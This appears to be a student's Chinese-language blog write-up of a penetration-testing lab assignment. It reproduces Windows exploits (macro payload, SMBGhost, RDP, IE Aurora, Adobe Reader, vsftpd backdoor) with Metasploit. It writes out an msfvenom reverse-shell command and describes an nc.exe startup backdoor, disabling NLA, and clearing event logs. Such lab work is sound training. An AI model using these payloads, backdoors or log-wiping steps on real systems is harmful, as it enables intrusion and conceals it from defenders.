为了能到远方,脚下的每一步都不能少.|

chchee

园龄:1年3个月粉丝:1关注:1

网络攻防实验 -- 渗透测试作业三

漏洞复现:

1.利用宏病毒感染word文档获取shell复现

https://www.offsec.com/metasploit-unleashed/vbscript-infection-methods/

A macro is a feature that allows users to create automated processes inside of a document used by software like Microsoft Word, Excel, or PowerPoint. This is used to enhance user experience, increase productivity, or automate otherwise manual tasks. But, in other words, it executes code. What kind of code? Well, pretty much whatever you want, even a Meterpreter session!

One memorable example of a macro-malware is the Melissa virus, which first appeared in 1999. The malware was embedded in an MS Word file and when opened, would e-mail itself to the first 50 contacts in the victim’s address book. Though it didn’t cause much damage to individual users (aside from accidentally causing several mail services to DDOS), the total worth of damages caused was estimated at 80$ million, and the attacker was sentenced to 20 months in federal prison.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe -o output.txt

image-20241026170015869

the script is in two parts. The first part of the script is created as a macro and the second part is appended into the document text itself.

You will need to transfer this script over to a machine with Windows and Office installed .

创建宏

image-20241026172335912

将生成的宏复制到此处:

image-20241026171241958

将生成的第二部分即文档内容粘贴到word文档中

image-20241026171612062

宏文件生成完毕

需要另存为启用宏的Word 文档

image-20241026172926890

打开生成的文档,需要开启宏

image-20241026173145041

设置 Metasploit 监听

image-20241026170658770

成功 getshell

image-20241026172141269

2.实现CVE-2020-0796永恒之黑漏洞利用

https://blog.csdn.net/weixin_63610715/article/details/133847253

https://www.cnblogs.com/kbhome/p/13073746.html

https://www.cnblogs.com/jihejihe/articles/16899783.html

原理分析:https://www.jamf.com/blog/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-poc-jamf-threat-labs/

https://github.com/jamf/CVE-2020-0796-RCE-POC

SMB远程代码执行漏洞(CVE-2020-0796)

该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,没有检查长度是否合法,最终导致整数溢出,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码,攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

环境:

攻击方kali:192.168.137.130

受害机win10: 192.168.137.133

端口扫描,开放445端口,提供smb服务

image-20241026191628781

检测是否存在漏洞:

工具下载地址:https://github.com/eerykitty/CVE-2020-0796-PoC

image-20241026182152155

image-20241026182132315

识别目标主机的smb版本 use auxiliary/scanner/smb/smb_version

image-20241026192534501

image-20241026193008115

image-20241026192949089

加载模块

image-20241026193329865

image-20241026193612134

添加丢失文件 \# unzip external.zip -d /usr/share/metasploit-framework/

image-20241026195145272

后渗透维持权限

后渗透的目的是长久保持对目标的权限,主要手段是植入后门

background : 把当前连接保存到后台不退出连接

加载后渗透模块enable_rdp 创建目标主机RDP用户

image-20241026200035104

如果目标主机开启NLA,建立的RDP账号将不能通过RDP连接到目标主机

查询目标机注册表来确定是否开启了 NLA。

image-20241026200617924

根据查询结果 SecurityLayer(2 )和 UserAuthentication (1)的值,可以知道目标机开启了 NLA以上说明目标主机上的NLA(网络级身份验证)处在开启状态,不能够直接用rdp连接目标主机。

reg -h # 查看帮助

-k #注册表的路径 -v 键的名称 -d 键值

reg enumkey [-k <key>] # 枚举注册表的内容

reg createkey [-k <key>] # 创建注册表项

reg deletekey [-k <key>] # 删除注册表项

reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容

reg deleteval [-k <key> -v <val>] # 删除注册表的值

reg queryval [-k <key> -v <val>] # 查询注册表的值

通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0,就可以关闭NLA。

image-20241026201026153

rdesktop 192.168.1.60 -u test -p 123456 建立 rdp 连接

image-20241026201231996

远程桌面连接成功

image-20241026201302071

修改注册表启动项长久维持权限

直接利用漏洞获取目标权限不稳定,为长久的获取目标主机的权限,需要通过植入后门来实现。

通过已获取的权限上传后门

后门可以是MSF生成的,甚至可以是勒索病毒。这里使用nc.exe作为后门

nc 参数解释:

L 用户退出后重新进行端口侦听

d 后台运行

p 指定端口

-e 连接后执行的程序

在kali主机上利用已经获取的shell上传nc.exe

注册表添加启动项执行 nc 反弹 shell 命令

运行shell,执行windows命令修改防火墙

image-20241026202303867

重启win10,kali开一个新终端:

检查端口开放,443处于监听状态

image-20241026202800577

成功获得 shell

image-20241026202912801

上传木马后让木马自动运行的方式:注册表自启动项、添加计划任务、注入到常用的exe文件等等

删除 windows 日志

eventvwr.exe

image-20241026204122090

删除日志:

一是在获取权限后直接使用meterpreter的删除日志命令:clearv

二是利用专门编写的删除windows日志文件的批处理文件删除日志

查杀木马

检查可疑连接端口及进程

image-20241026204554303

查找进程对应的程序名称 ,删除木马文件

tasklist |findstr <PID> , taskkill /PID <PID>

image-20241026205047110

3.实现Microsoft Windows远程溢出漏洞CVE-2012-0002利用

漏洞针对 win7、windows XP, windows server 2008 等系统的3389远程桌面服务(RDP)

win7 开启远程桌面设置

image-20241019095751263

services.msc

image-20241023160529898

网络信息

  • win7 ip:192.168.137.129
  • Kali ip:192.168.137.130

搜索对应活跃主机win7蓝屏漏洞端口

nmap 扫描win7端口

image-20241024205714309

Nessus 执行漏洞扫描

/bin/systemctl start nessusd.service

image-20241024210609781

msfconsole 加载攻击模块

image-20241024210057874 image-20241024210831582 image-20241024210928231

攻击成功

image-20241024210954878

4.实现MS11-003(CVE-2001-0036)漏洞利用

MS11-003 漏洞主要影响以下 Windows 服务:

  • Remote Procedure Call (RPC):该漏洞涉及 RPC 服务的实现。RPC 是 Windows 系统中用于进程间通信的核心组件。
  • Server Message Block (SMB):该协议用于文件共享和打印服务,漏洞可能通过 SMB 实现的 RPC 连接进行利用。

msfconsole查找攻击模块

image-20241026212151371

run 开始攻击

image-20241026213523814

生成恶意网站server 地址:http://192.168.137.130:8080/DuUOHssks2, win7 虚拟机 通过IE浏览器访问上述恶意网站

image-20241026213431884

成功 getshell

5.实现IE浏览器的极光漏洞利用

https://hstar.me/2019/06/aurora-analysis-2/

https://hstar.me/2019/06/aurora-analysis-1/

https://bbs.kanxue.com/thread-247763-1.htm

查找极光漏洞攻击模块

image-20241026214908496

恶意网址:http://192.168.137.130:8080/L8XkQqOqMeLl

image-20241026215020425

win7 访问恶意网址:

image-20241026215231234

成功getshell

image-20241026215335346

6.实现Adobe Reader 9漏洞利用

加载攻击模块

image-20241027140606641

加载监听模块

image-20241027141441806

成功getshell

image-20241027141609990

7.渗透攻击Metasploitable的Vsftpd源码包后门漏洞

加载攻击模块

image-20241027143609898

getshell

image-20241027143451586

8.使用browser_autopwn 模块渗透攻击浏览器

Browser Autopwn 是由Metasploit提供的一个辅助模块。
当访问一个Web页面时,它允许用户自动地攻击一个入侵主机。

image-20241026220301245

生成恶意网址

image-20241026220528954

受害机访问恶意网站后,开始攻击

image-20241027114930131

本文作者:chchee

本文链接:https://www.cnblogs.com/chchee-blog/p/18514454

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   chchee  阅读(95)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起